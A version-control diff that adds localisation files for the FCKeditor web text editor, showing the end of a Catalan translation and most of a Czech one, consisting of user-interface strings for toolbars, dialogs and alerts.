+ButtonProp			: "Propietats del botó",
+CheckboxProp		: "Propietats de la casella de verificació",
+HiddenFieldProp		: "Propietats del camp ocult",
+RadioButtonProp		: "Propietats del botó d'opció",
+ImageButtonProp		: "Propietats del botó d'imatge",
+TextFieldProp		: "Propietats del camp de text",
+SelectionFieldProp	: "Propietats del camp de selecció",
+TextareaProp		: "Propietats de l'àrea de text",
+FormProp			: "Propietats del formulari",
+
+FontFormats			: "Normal;Formatejat;Adreça;Encapçalament 1;Encapçalament 2;Encapçalament 3;Encapçalament 4;Encapçalament 5;Encapçalament 6",
+
+// Alerts and Messages
+ProcessingXHTML		: "Processant XHTML. Si us plau esperi...",
+Done				: "Fet",
+PasteWordConfirm	: "El text que voleu enganxar sembla provenir de Word. Voleu netejar aquest text abans que sigui enganxat?",
+NotCompatiblePaste	: "Aquesta funció és disponible per a Internet Explorer versió 5.5 o superior. Voleu enganxar sense netejar?",
+UnknownToolbarItem	: "Element de la barra d'eines desconegut \"%1\"",
+UnknownCommand		: "Nom de comanda desconegut \"%1\"",
+NotImplemented		: "Mètode no implementat",
+UnknownToolbarSet	: "Conjunt de barra d'eines \"%1\" inexistent",
+NoActiveX			: "Les preferències del navegador poden limitar algunes funcions d'aquest editor. Cal habilitar l'opció \"Executa controls ActiveX i plug-ins\". Poden sorgir errors i poden faltar algunes funcions.",
+BrowseServerBlocked : "El visualitzador de recursos no s'ha pogut obrir. Assegura't de que els bloquejos de finestres emergents estan desactivats.",
+DialogBlocked		: "No ha estat possible obrir una finestra de diàleg. Assegura't de que els bloquejos de finestres emergents estan desactivats.",
+
+// Dialogs
+DlgBtnOK			: "D'acord",
+DlgBtnCancel		: "Cancel·la",
+DlgBtnClose			: "Tanca",
+DlgBtnBrowseServer	: "Veure servidor",
+DlgAdvancedTag		: "Avançat",
+DlgOpOther			: "Altres",
+DlgInfoTab			: "Info",
+DlgAlertUrl			: "Si us plau, afegiu la URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<no definit>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Direcció de l'idioma",
+DlgGenLangDirLtr	: "D'esquerra a dreta (LTR)",
+DlgGenLangDirRtl	: "De dreta a esquerra (RTL)",
+DlgGenLangCode		: "Codi d'idioma",
+DlgGenAccessKey		: "Clau d'accés",
+DlgGenName			: "Nom",
+DlgGenTabIndex		: "Index de Tab",
+DlgGenLongDescr		: "Descripció llarga de la URL",
+DlgGenClass			: "Classes del full d'estil",
+DlgGenTitle			: "Títol consultiu",
+DlgGenContType		: "Tipus de contingut consultiu",
+DlgGenLinkCharset	: "Conjunt de caràcters font enllaçat",
+DlgGenStyle			: "Estil",
+
+// Image Dialog
+DlgImgTitle			: "Propietats de la imatge",
+DlgImgInfoTab		: "Informació de la imatge",
+DlgImgBtnUpload		: "Envia-la al servidor",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Puja",
+DlgImgAlt			: "Text alternatiu",
+DlgImgWidth			: "Amplada",
+DlgImgHeight		: "Alçada",
+DlgImgLockRatio		: "Bloqueja les proporcions",
+DlgBtnResetSize		: "Restaura la mida",
+DlgImgBorder		: "Vora",
+DlgImgHSpace		: "Espaiat horit.",
+DlgImgVSpace		: "Espaiat vert.",
+DlgImgAlign			: "Alineació",
+DlgImgAlignLeft		: "Ajusta a l'esquerra",
+DlgImgAlignAbsBottom: "Abs Bottom",
+DlgImgAlignAbsMiddle: "Abs Middle",
+DlgImgAlignBaseline	: "Baseline",
+DlgImgAlignBottom	: "Bottom",
+DlgImgAlignMiddle	: "Middle",
+DlgImgAlignRight	: "Ajusta a la dreta",
+DlgImgAlignTextTop	: "Text Top",
+DlgImgAlignTop		: "Top",
+DlgImgPreview		: "Vista prèvia",
+DlgImgAlertUrl		: "Si us plau, escriviu la URL de la imatge",
+DlgImgLinkTab		: "Enllaç",
+
+// Flash Dialog
+DlgFlashTitle		: "Propietats del Flash",
+DlgFlashChkPlay		: "Reprodució automàtica",
+DlgFlashChkLoop		: "Bucle",
+DlgFlashChkMenu		: "Habilita menú Flash",
+DlgFlashScale		: "Escala",
+DlgFlashScaleAll	: "Mostra-ho tot",
+DlgFlashScaleNoBorder	: "Sense vores",
+DlgFlashScaleFit	: "Mida exacta",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Enllaç",
+DlgLnkInfoTab		: "Informació de l'enllaç",
+DlgLnkTargetTab		: "Destí",
+
+DlgLnkType			: "Tipus d'enllaç",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Àncora en aquesta pàgina",
+DlgLnkTypeEMail		: "E-Mail",
+DlgLnkProto			: "Protocol",
+DlgLnkProtoOther	: "<altra>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Selecciona una àncora",
+DlgLnkAnchorByName	: "Per nom d'àncora",
+DlgLnkAnchorById	: "Per Id d'element",
+DlgLnkNoAnchors		: "<No hi ha àncores disponibles en aquest document>",
+DlgLnkEMail			: "Adreça d'E-Mail",
+DlgLnkEMailSubject	: "Assumpte del missatge",
+DlgLnkEMailBody		: "Cos del missatge",
+DlgLnkUpload		: "Puja",
+DlgLnkBtnUpload		: "Envia al servidor",
+
+DlgLnkTarget		: "Destí",
+DlgLnkTargetFrame	: "<marc>",
+DlgLnkTargetPopup	: "<finestra emergent>",
+DlgLnkTargetBlank	: "Nova finestra (_blank)",
+DlgLnkTargetParent	: "Finestra pare (_parent)",
+DlgLnkTargetSelf	: "Mateixa finestra (_self)",
+DlgLnkTargetTop		: "Finestra Major (_top)",
+DlgLnkTargetFrameName	: "Nom del marc de destí",
+DlgLnkPopWinName	: "Nom finestra popup",
+DlgLnkPopWinFeat	: "Característiques finestra popup",
+DlgLnkPopResize		: "Redimensionable",
+DlgLnkPopLocation	: "Barra d'adreça",
+DlgLnkPopMenu		: "Barra de menú",
+DlgLnkPopScroll		: "Barres d'scroll",
+DlgLnkPopStatus		: "Barra d'estat",
+DlgLnkPopToolbar	: "Barra d'eines",
+DlgLnkPopFullScrn	: "Pantalla completa (IE)",
+DlgLnkPopDependent	: "Depenent (Netscape)",
+DlgLnkPopWidth		: "Amplada",
+DlgLnkPopHeight		: "Alçada",
+DlgLnkPopLeft		: "Posició esquerra",
+DlgLnkPopTop		: "Posició dalt",
+
+DlnLnkMsgNoUrl		: "Si us plau, escrigui l'enllaç URL",
+DlnLnkMsgNoEMail	: "Si us plau, escrigui l'adreça e-mail",
+DlnLnkMsgNoAnchor	: "Si us plau, escrigui l'àncora",
+DlnLnkMsgInvPopName	: "El nom de la finestra emergent ha de començar amb una lletra i no pot tenir espais",
+
+// Color Dialog
+DlgColorTitle		: "Selecciona el color",
+DlgColorBtnClear	: "Neteja",
+DlgColorHighlight	: "Realça",
+DlgColorSelected	: "Selecciona",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Insereix una icona",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Selecciona el caràcter especial",
+
+// Table Dialog
+DlgTableTitle		: "Propietats de la taula",
+DlgTableRows		: "Files",
+DlgTableColumns		: "Columnes",
+DlgTableBorder		: "Tamany vora",
+DlgTableAlign		: "Alineació",
+DlgTableAlignNotSet	: "<No Definit>",
+DlgTableAlignLeft	: "Esquerra",
+DlgTableAlignCenter	: "Centre",
+DlgTableAlignRight	: "Dreta",
+DlgTableWidth		: "Amplada",
+DlgTableWidthPx		: "píxels",
+DlgTableWidthPc		: "percentatge",
+DlgTableHeight		: "Alçada",
+DlgTableCellSpace	: "Espaiat de cel·les",
+DlgTableCellPad		: "Encoixinament de cel·les",
+DlgTableCaption		: "Títol",
+DlgTableSummary		: "Resum",
+
+// Table Cell Dialog
+DlgCellTitle		: "Propietats de la cel·la",
+DlgCellWidth		: "Amplada",
+DlgCellWidthPx		: "píxels",
+DlgCellWidthPc		: "percentatge",
+DlgCellHeight		: "Alçada",
+DlgCellWordWrap		: "Ajust de paraula",
+DlgCellWordWrapNotSet	: "<No Definit>",
+DlgCellWordWrapYes	: "Si",
+DlgCellWordWrapNo	: "No",
+DlgCellHorAlign		: "Alineació horitzontal",
+DlgCellHorAlignNotSet	: "<No Definit>",
+DlgCellHorAlignLeft	: "Esquerra",
+DlgCellHorAlignCenter	: "Centre",
+DlgCellHorAlignRight: "Dreta",
+DlgCellVerAlign		: "Alineació vertical",
+DlgCellVerAlignNotSet	: "<No definit>",
+DlgCellVerAlignTop	: "Top",
+DlgCellVerAlignMiddle	: "Middle",
+DlgCellVerAlignBottom	: "Bottom",
+DlgCellVerAlignBaseline	: "Baseline",
+DlgCellRowSpan		: "Rows Span",
+DlgCellCollSpan		: "Columns Span",
+DlgCellBackColor	: "Color de fons",
+DlgCellBorderColor	: "Color de la vora",
+DlgCellBtnSelect	: "Seleccioneu...",
+
+// Find Dialog
+DlgFindTitle		: "Cerca",
+DlgFindFindBtn		: "Cerca",
+DlgFindNotFoundMsg	: "El text especificat no s'ha trobat.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Reemplaça",
+DlgReplaceFindLbl		: "Cerca:",
+DlgReplaceReplaceLbl	: "Remplaça amb:",
+DlgReplaceCaseChk		: "Sensible a majúscules",
+DlgReplaceReplaceBtn	: "Reemplaça",
+DlgReplaceReplAllBtn	: "Reemplaça'ls tots",
+DlgReplaceWordChk		: "Cerca paraula completa",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "La seguretat del vostre navegador no permet executar automàticament les operacions d'enganxat. Si us plau, utilitzeu el teclat (Ctrl+V).",
+PasteErrorCut	: "La seguretat del vostre navegador no permet executar automàticament les operacions de retallar. Si us plau, utilitzeu el teclat (Ctrl+X).",
+PasteErrorCopy	: "La seguretat del vostre navegador no permet executar automàticament les operacions de copiar. Si us plau, utilitzeu el teclat (Ctrl+C).",
+
+PasteAsText		: "Enganxa com a text sense format",
+PasteFromWord	: "Enganxa com a Word",
+
+DlgPasteMsg2	: "Si us plau, enganxeu dins del següent camp utilitzant el teclat (<STRONG>Ctrl+V</STRONG>) i premeu <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Ignora definicions de font",
+DlgPasteRemoveStyles	: "Elimina definicions d'estil",
+DlgPasteCleanBox		: "Neteja camp",
+
+// Color Picker
+ColorAutomatic	: "Automàtic",
+ColorMoreColors	: "Més colors...",
+
+// Document Properties
+DocProps		: "Propietats del document",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Propietats de l'àncora",
+DlgAnchorName		: "Nom de l'àncora",
+DlgAnchorErrorName	: "Si us plau, escriviu el nom de l'ancora",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "No és al diccionari",
+DlgSpellChangeTo		: "Canvia a",
+DlgSpellBtnIgnore		: "Ignora",
+DlgSpellBtnIgnoreAll	: "Ignora-les totes",
+DlgSpellBtnReplace		: "Canvia",
+DlgSpellBtnReplaceAll	: "Canvia-les totes",
+DlgSpellBtnUndo			: "Desfés",
+DlgSpellNoSuggestions	: "Cap sugerència",
+DlgSpellProgress		: "Comprovació ortogràfica en progrés",
+DlgSpellNoMispell		: "Comprovació ortogràfica completada",
+DlgSpellNoChanges		: "Comprovació ortogràfica: cap paraulada canviada",
+DlgSpellOneChange		: "Comprovació ortogràfica: una paraula canviada",
+DlgSpellManyChanges		: "Comprovació ortogràfica %1 paraules canviades",
+
+IeSpellDownload			: "Comprovació ortogràfica no instal·lada. Voleu descarregar-ho ara?",
+
+// Button Dialog
+DlgButtonText		: "Text (Valor)",
+DlgButtonType		: "Tipus",
+DlgButtonTypeBtn	: "Botó",
+DlgButtonTypeSbm	: "Transmet formulari",
+DlgButtonTypeRst	: "Reinicia formulari",
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Nom",
+DlgCheckboxValue	: "Valor",
+DlgCheckboxSelected	: "Seleccionat",
+
+// Form Dialog
+DlgFormName		: "Nom",
+DlgFormAction	: "Acció",
+DlgFormMethod	: "Mètode",
+
+// Select Field Dialog
+DlgSelectName		: "Nom",
+DlgSelectValue		: "Valor",
+DlgSelectSize		: "Tamany",
+DlgSelectLines		: "Línies",
+DlgSelectChkMulti	: "Permet múltiples seleccions",
+DlgSelectOpAvail	: "Opcions disponibles",
+DlgSelectOpText		: "Text",
+DlgSelectOpValue	: "Valor",
+DlgSelectBtnAdd		: "Afegeix",
+DlgSelectBtnModify	: "Modifica",
+DlgSelectBtnUp		: "Amunt",
+DlgSelectBtnDown	: "Avall",
+DlgSelectBtnSetValue : "Selecciona per defecte",
+DlgSelectBtnDelete	: "Elimina",
+
+// Textarea Dialog
+DlgTextareaName	: "Nom",
+DlgTextareaCols	: "Columnes",
+DlgTextareaRows	: "Files",
+
+// Text Field Dialog
+DlgTextName			: "Nom",
+DlgTextValue		: "Valor",
+DlgTextCharWidth	: "Amplada de caràcter",
+DlgTextMaxChars		: "Màxim de caràcters",
+DlgTextType			: "Tipus",
+DlgTextTypeText		: "Text",
+DlgTextTypePass		: "Contrasenya",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Nom",
+DlgHiddenValue	: "Valor",
+
+// Bulleted List Dialog
+BulletedListProp	: "Propietats de la llista de pics",
+NumberedListProp	: "Propietats de llista numerada",
+DlgLstStart			: "Inici",
+DlgLstType			: "Tipus",
+DlgLstTypeCircle	: "Cercle",
+DlgLstTypeDisc		: "Disc",
+DlgLstTypeSquare	: "Quadrat",
+DlgLstTypeNumbers	: "Números (1, 2, 3)",
+DlgLstTypeLCase		: "Lletres minúscules (a, b, c)",
+DlgLstTypeUCase		: "Lletres majúscules (A, B, C)",
+DlgLstTypeSRoman	: "Números romans minúscules (i, ii, iii)",
+DlgLstTypeLRoman	: "Números romans majúscules (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "General",
+DlgDocBackTab		: "Fons",
+DlgDocColorsTab		: "Colors i marges",
+DlgDocMetaTab		: "Dades Meta",
+
+DlgDocPageTitle		: "Títol de la pàgina",
+DlgDocLangDir		: "Direcció llenguatge",
+DlgDocLangDirLTR	: "Esquerra a dreta (LTR)",
+DlgDocLangDirRTL	: "Dreta a esquerra (RTL)",
+DlgDocLangCode		: "Codi de llenguatge",
+DlgDocCharSet		: "Codificació de conjunt de caràcters",
+DlgDocCharSetCE		: "Centreeuropeu",
+DlgDocCharSetCT		: "Xinès tradicional (Big5)",
+DlgDocCharSetCR		: "Ciríl·lic",
+DlgDocCharSetGR		: "Grec",
+DlgDocCharSetJP		: "Japonès",
+DlgDocCharSetKR		: "Coreà",
+DlgDocCharSetTR		: "Turc",
+DlgDocCharSetUN		: "Unicode (UTF-8)",
+DlgDocCharSetWE		: "Europeu occidental",
+DlgDocCharSetOther	: "Una altra codificació de caràcters",
+
+DlgDocDocType		: "Capçalera de tipus de document",
+DlgDocDocTypeOther	: "Altra Capçalera de tipus de document",
+DlgDocIncXHTML		: "Incloure declaracions XHTML",
+DlgDocBgColor		: "Color de fons",
+DlgDocBgImage		: "URL de la imatge de fons",
+DlgDocBgNoScroll	: "Fons fixe",
+DlgDocCText			: "Text",
+DlgDocCLink			: "Enllaç",
+DlgDocCVisited		: "Enllaç visitat",
+DlgDocCActive		: "Enllaç actiu",
+DlgDocMargins		: "Marges de pàgina",
+DlgDocMaTop			: "Cap",
+DlgDocMaLeft		: "Esquerra",
+DlgDocMaRight		: "Dreta",
+DlgDocMaBottom		: "Peu",
+DlgDocMeIndex		: "Mots clau per a indexació (separats per coma)",
+DlgDocMeDescr		: "Descripció del document",
+DlgDocMeAuthor		: "Autor",
+DlgDocMeCopy		: "Copyright",
+DlgDocPreview		: "Vista prèvia",
+
+// Templates Dialog
+Templates			: "Plantilles",
+DlgTemplatesTitle	: "Contingut plantilles",
+DlgTemplatesSelMsg	: "Si us plau, seleccioneu la plantilla per obrir en l'editor<br>(el contingut actual no serà enregistrat):",
+DlgTemplatesLoading	: "Carregant la llista de plantilles. Si us plau, espereu...",
+DlgTemplatesNoTpl	: "(No hi ha plantilles definides)",
+DlgTemplatesReplace	: "Reemplaça el contingut actual",
+
+// About Dialog
+DlgAboutAboutTab	: "Quant a",
+DlgAboutBrowserInfoTab	: "Informació del navegador",
+DlgAboutLicenseTab	: "Llicència",
+DlgAboutVersion		: "versió",
+DlgAboutLicense		: "Segons els termes de la Llicència GNU Lesser General Public License",
+DlgAboutInfo		: "Per a més informació aneu a"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/cs.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/cs.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/cs.js	(revision 44)
@@ -0,0 +1,503 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: cs.js
+ * 	Czech language file.
+ * 
+ * File Authors:
+ * 		David Horák (david.horak@email.cz)
+ * 		Petr Plavjaník (plavjanik@gmail.com)
+ * 		Dave MacBlack (davemacblack@users.sourceforge.net)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Skrýt panel nástrojů",
+ToolbarExpand		: "Zobrazit panel nástrojů",
+
+// Toolbar Items and Context Menu
+Save				: "Uložit",
+NewPage				: "Nová stránka",
+Preview				: "Náhled",
+Cut					: "Vyjmout",
+Copy				: "Kopírovat",
+Paste				: "Vložit",
+PasteText			: "Vložit jako čistý text",
+PasteWord			: "Vložit z Wordu",
+Print				: "Tisk",
+SelectAll			: "Vybrat vše",
+RemoveFormat		: "Odstranit formátování",
+InsertLinkLbl		: "Odkaz",
+InsertLink			: "Vložit/změnit odkaz",
+RemoveLink			: "Odstranit odkaz",
+Anchor				: "Vložít/změnit záložku",
+InsertImageLbl		: "Obrázek",
+InsertImage			: "Vložit/změnit obrázek",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Vložit/Upravit Flash",
+InsertTableLbl		: "Tabulka",
+InsertTable			: "Vložit/změnit tabulku",
+InsertLineLbl		: "Linka",
+InsertLine			: "Vložit vodorovnou linku",
+InsertSpecialCharLbl: "Speciální znaky",
+InsertSpecialChar	: "Vložit speciální znaky",
+InsertSmileyLbl		: "Smajlíky",
+InsertSmiley		: "Vložit smajlík",
+About				: "O aplikaci FCKeditor",
+Bold				: "Tučné",
+Italic				: "Kurzíva",
+Underline			: "Podtržené",
+StrikeThrough		: "Přeškrtnuté",
+Subscript			: "Dolní index",
+Superscript			: "Horní index",
+LeftJustify			: "Zarovnat vlevo",
+CenterJustify		: "Zarovnat na střed",
+RightJustify		: "Zarovnat vpravo",
+BlockJustify		: "Zarovnat do bloku",
+DecreaseIndent		: "Zmenšit odsazení",
+IncreaseIndent		: "Zvětšit odsazení",
+Undo				: "Zpět",
+Redo				: "Znovu",
+NumberedListLbl		: "Číslování",
+NumberedList		: "Vložit/odstranit číslovaný seznam",
+BulletedListLbl		: "Odrážky",
+BulletedList		: "Vložit/odstranit odrážky",
+ShowTableBorders	: "Zobrazit okraje tabulek",
+ShowDetails			: "Zobrazit podrobnosti",
+Style				: "Styl",
+FontFormat			: "Formát",
+Font				: "Písmo",
+FontSize			: "Velikost",
+TextColor			: "Barva textu",
+BGColor				: "Barva pozadí",
+Source				: "Zdroj",
+Find				: "Hledat",
+Replace				: "Nahradit",
+SpellCheck			: "Zkontrolovat pravopis",
+UniversalKeyboard	: "Univerzální klávesnice",
+PageBreakLbl		: "Konec stránky",
+PageBreak			: "Vložit konec stránky",
+
+Form			: "Formulář",
+Checkbox		: "Zaškrtávací políčko",
+RadioButton		: "Přepínač",
+TextField		: "Textové pole",
+Textarea		: "Textová oblast",
+HiddenField		: "Skryté pole",
+Button			: "Tlačítko",
+SelectionField	: "Seznam",
+ImageButton		: "Obrázkové tlačítko",
+
+FitWindow		: "Maximalizovat velikost editoru",
+
+// Context Menu
+EditLink			: "Změnit odkaz",
+CellCM				: "Buňka",
+RowCM				: "Řádek",
+ColumnCM			: "Sloupec",
+InsertRow			: "Vložit řádek",
+DeleteRows			: "Smazat řádek",
+InsertColumn		: "Vložit sloupec",
+DeleteColumns		: "Smazat sloupec",
+InsertCell			: "Vložit buňku",
+DeleteCells			: "Smazat buňky",
+MergeCells			: "Sloučit buňky",
+SplitCell			: "Rozdělit buňku",
+TableDelete			: "Smazat tabulku",
+CellProperties		: "Vlastnosti buňky",
+TableProperties		: "Vlastnosti tabulky",
+ImageProperties		: "Vlastnosti obrázku",
+FlashProperties		: "Vlastnosti Flashe",
+
+AnchorProp			: "Vlastnosti záložky",
+ButtonProp			: "Vlastnosti tlačítka",
+CheckboxProp		: "Vlastnosti zaškrtávacího políčka",
+HiddenFieldProp		: "Vlastnosti skrytého pole",
+RadioButtonProp		: "Vlastnosti přepínače",
+ImageButtonProp		: "Vlastností obrázkového tlačítka",
+TextFieldProp		: "Vlastnosti textového pole",
+SelectionFieldProp	: "Vlastnosti seznamu",
+TextareaProp		: "Vlastnosti textové oblasti",
+FormProp			: "Vlastnosti formuláře",
+
+FontFormats			: "Normální;Formátovaný;Adresa;Nadpis 1;Nadpis 2;Nadpis 3;Nadpis 4;Nadpis 5;Nadpis 6",
+
+// Alerts and Messages
+ProcessingXHTML		: "Probíhá zpracování XHTML. Prosím čekejte...",
+Done				: "Hotovo",
+PasteWordConfirm	: "Jak je vidět, vkládaný text je kopírován z Wordu. Chcete jej před vložením vyčistit?",
+NotCompatiblePaste	: "Tento příkaz je dostupný pouze v Internet Exploreru verze 5.5 nebo vyšší. Chcete vložit text bez vyčištění?",
+UnknownToolbarItem	: "Neznámá položka panelu nástrojů \"%1\"",
+UnknownCommand		: "Neznámý příkaz \"%1\"",
+NotImplemented		: "Příkaz není implementován",
+UnknownToolbarSet	: "Panel nástrojů \"%1\" neexistuje",
+NoActiveX			: "Nastavení bezpečnosti Vašeho prohlížeče omezuje funkčnost některých jeho možností. Je třeba zapnout volbu \"Spouštět ovládáací prvky ActiveX a moduly plug-in\", jinak nebude možné využívat všechny dosputné schopnosti editoru.",
+BrowseServerBlocked : "Průzkumník zdrojů nelze otevřít. Prověřte, zda nemáte aktivováno blokování popup oken.",
+DialogBlocked		: "Nelze otevřít dialogové okno. Prověřte, zda nemáte aktivováno blokování popup oken.",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Storno",
+DlgBtnClose			: "Zavřít",
+DlgBtnBrowseServer	: "Vybrat na serveru",
+DlgAdvancedTag		: "Rozšířené",
+DlgOpOther			: "<Ostatní>",
+DlgInfoTab			: "Info",
+DlgAlertUrl			: "Prosím vložte URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<nenastaveno>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Orientace jazyka",
+DlgGenLangDirLtr	: "Zleva do prava (LTR)",
+DlgGenLangDirRtl	: "Zprava do leva (RTL)",
+DlgGenLangCode		: "Kód jazyka",
+DlgGenAccessKey		: "Přístupový klíč",
+DlgGenName			: "Jméno",
+DlgGenTabIndex		: "Pořadí prvku",
+DlgGenLongDescr		: "Dlouhý popis URL",
+DlgGenClass			: "Třída stylu",
+DlgGenTitle			: "Pomocný titulek",
+DlgGenContType		: "Pomocný typ obsahu",
+DlgGenLinkCharset	: "Přiřazená znaková sada",
+DlgGenStyle			: "Styl",
+
+// Image Dialog
+DlgImgTitle			: "Vlastnosti obrázku",
+DlgImgInfoTab		: "Informace o obrázku",
+DlgImgBtnUpload		: "Odeslat na server",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Odeslat",
+DlgImgAlt			: "Alternativní text",
+DlgImgWidth			: "Šířka",
+DlgImgHeight		: "Výška",
+DlgImgLockRatio		: "Zámek",
+DlgBtnResetSize		: "Původní velikost",
+DlgImgBorder		: "Okraje",
+DlgImgHSpace		: "H-mezera",
+DlgImgVSpace		: "V-mezera",
+DlgImgAlign			: "Zarovnání",
+DlgImgAlignLeft		: "Vlevo",
+DlgImgAlignAbsBottom: "Zcela dolů",
+DlgImgAlignAbsMiddle: "Doprostřed",
+DlgImgAlignBaseline	: "Na účaří",
+DlgImgAlignBottom	: "Dolů",
+DlgImgAlignMiddle	: "Na střed",
+DlgImgAlignRight	: "Vpravo",
+DlgImgAlignTextTop	: "Na horní okraj textu",
+DlgImgAlignTop		: "Nahoru",
+DlgImgPreview		: "Náhled",
+DlgImgAlertUrl		: "Zadejte prosím URL obrázku",
+DlgImgLinkTab		: "Odkaz",
+
+// Flash Dialog
+DlgFlashTitle		: "Vlastnosti Flashe",
+DlgFlashChkPlay		: "Automatické spuštění",
+DlgFlashChkLoop		: "Opakování",
+DlgFlashChkMenu		: "Nabídka Flash",
+DlgFlashScale		: "Zobrazit",
+DlgFlashScaleAll	: "Zobrazit vše",
+DlgFlashScaleNoBorder	: "Bez okraje",
+DlgFlashScaleFit	: "Přizpůsobit",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Odkaz",
+DlgLnkInfoTab		: "Informace o odkazu",
+DlgLnkTargetTab		: "Cíl",
+
+DlgLnkType			: "Typ odkazu",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Kotva v této stránce",
+DlgLnkTypeEMail		: "E-Mail",
+DlgLnkProto			: "Protokol",
+DlgLnkProtoOther	: "<jiný>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Vybrat kotvu",
+DlgLnkAnchorByName	: "Podle jména kotvy",
+DlgLnkAnchorById	: "Podle Id objektu",
+DlgLnkNoAnchors		: "<Ve stránce žádná kotva není definována>",
+DlgLnkEMail			: "E-Mailová adresa",
+DlgLnkEMailSubject	: "Předmět zprávy",
+DlgLnkEMailBody		: "Tělo zprávy",
+DlgLnkUpload		: "Odeslat",
+DlgLnkBtnUpload		: "Odeslat na Server",
+
+DlgLnkTarget		: "Cíl",
+DlgLnkTargetFrame	: "<rámec>",
+DlgLnkTargetPopup	: "<vyskakovací okno>",
+DlgLnkTargetBlank	: "Nové okno (_blank)",
+DlgLnkTargetParent	: "Rodičovské okno (_parent)",
+DlgLnkTargetSelf	: "Stejné okno (_self)",
+DlgLnkTargetTop		: "Hlavní okno (_top)",
+DlgLnkTargetFrameName	: "Název cílového rámu",
+DlgLnkPopWinName	: "Název vyskakovacího okna",
+DlgLnkPopWinFeat	: "Vlastnosti vyskakovacího okna",
+DlgLnkPopResize		: "Měnitelná velikost",
+DlgLnkPopLocation	: "Panel umístění",
+DlgLnkPopMenu		: "Panel nabídky",
+DlgLnkPopScroll		: "Posuvníky",
+DlgLnkPopStatus		: "Stavový řádek",
+DlgLnkPopToolbar	: "Panel nástrojů",
+DlgLnkPopFullScrn	: "Celá obrazovka (IE)",
+DlgLnkPopDependent	: "Závislost (Netscape)",
+DlgLnkPopWidth		: "Šířka",
+DlgLnkPopHeight		: "Výška",
+DlgLnkPopLeft		: "Levý okraj",
+DlgLnkPopTop		: "Horní okraj",
+
+DlnLnkMsgNoUrl		: "Zadejte prosím URL odkazu",
+DlnLnkMsgNoEMail	: "Zadejte prosím e-mailovou adresu",
+DlnLnkMsgNoAnchor	: "Vyberte prosím kotvu",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Výběr barvy",
+DlgColorBtnClear	: "Vymazat",
+DlgColorHighlight	: "Zvýrazněná",
+DlgColorSelected	: "Vybraná",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Vkládání smajlíků",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Výběr speciálního znaku",
+
+// Table Dialog
+DlgTableTitle		: "Vlastnosti tabulky",
+DlgTableRows		: "Řádky",
+DlgTableColumns		: "Sloupce",
+DlgTableBorder		: "Ohraničení",
+DlgTableAlign		: "Zarovnání",
+DlgTableAlignNotSet	: "<nenastaveno>",
+DlgTableAlignLeft	: "Vlevo",
+DlgTableAlignCenter	: "Na střed",
+DlgTableAlignRight	: "Vpravo",
+DlgTableWidth		: "Šířka",
+DlgTableWidthPx		: "bodů",
+DlgTableWidthPc		: "procent",
+DlgTableHeight		: "Výška",
+DlgTableCellSpace	: "Vzdálenost buněk",
+DlgTableCellPad		: "Odsazení obsahu",
+DlgTableCaption		: "Popis",
+DlgTableSummary		: "Souhrn",
+
+// Table Cell Dialog
+DlgCellTitle		: "Vlastnosti buňky",
+DlgCellWidth		: "Šířka",
+DlgCellWidthPx		: "bodů",
+DlgCellWidthPc		: "procent",
+DlgCellHeight		: "Výška",
+DlgCellWordWrap		: "Zalamování",
+DlgCellWordWrapNotSet	: "<nenanstaveno>",
+DlgCellWordWrapYes	: "Ano",
+DlgCellWordWrapNo	: "Ne",
+DlgCellHorAlign		: "Vodorovné zarovnání",
+DlgCellHorAlignNotSet	: "<nenastaveno>",
+DlgCellHorAlignLeft	: "Vlevo",
+DlgCellHorAlignCenter	: "Na střed",
+DlgCellHorAlignRight: "Vpravo",
+DlgCellVerAlign		: "Svislé zarovnání",
+DlgCellVerAlignNotSet	: "<nenastaveno>",
+DlgCellVerAlignTop	: "Nahoru",
+DlgCellVerAlignMiddle	: "Doprostřed",
+DlgCellVerAlignBottom	: "Dolů",
+DlgCellVerAlignBaseline	: "Na účaří",
+DlgCellRowSpan		: "Sloučené řádky",
+DlgCellCollSpan		: "Sloučené sloupce",
+DlgCellBackColor	: "Barva pozadí",
+DlgCellBorderColor	: "Barva ohraničení",
+DlgCellBtnSelect	: "Výběr...",
+
+// Find Dialog
+DlgFindTitle		: "Hledat",
+DlgFindFindBtn		: "Hledat",
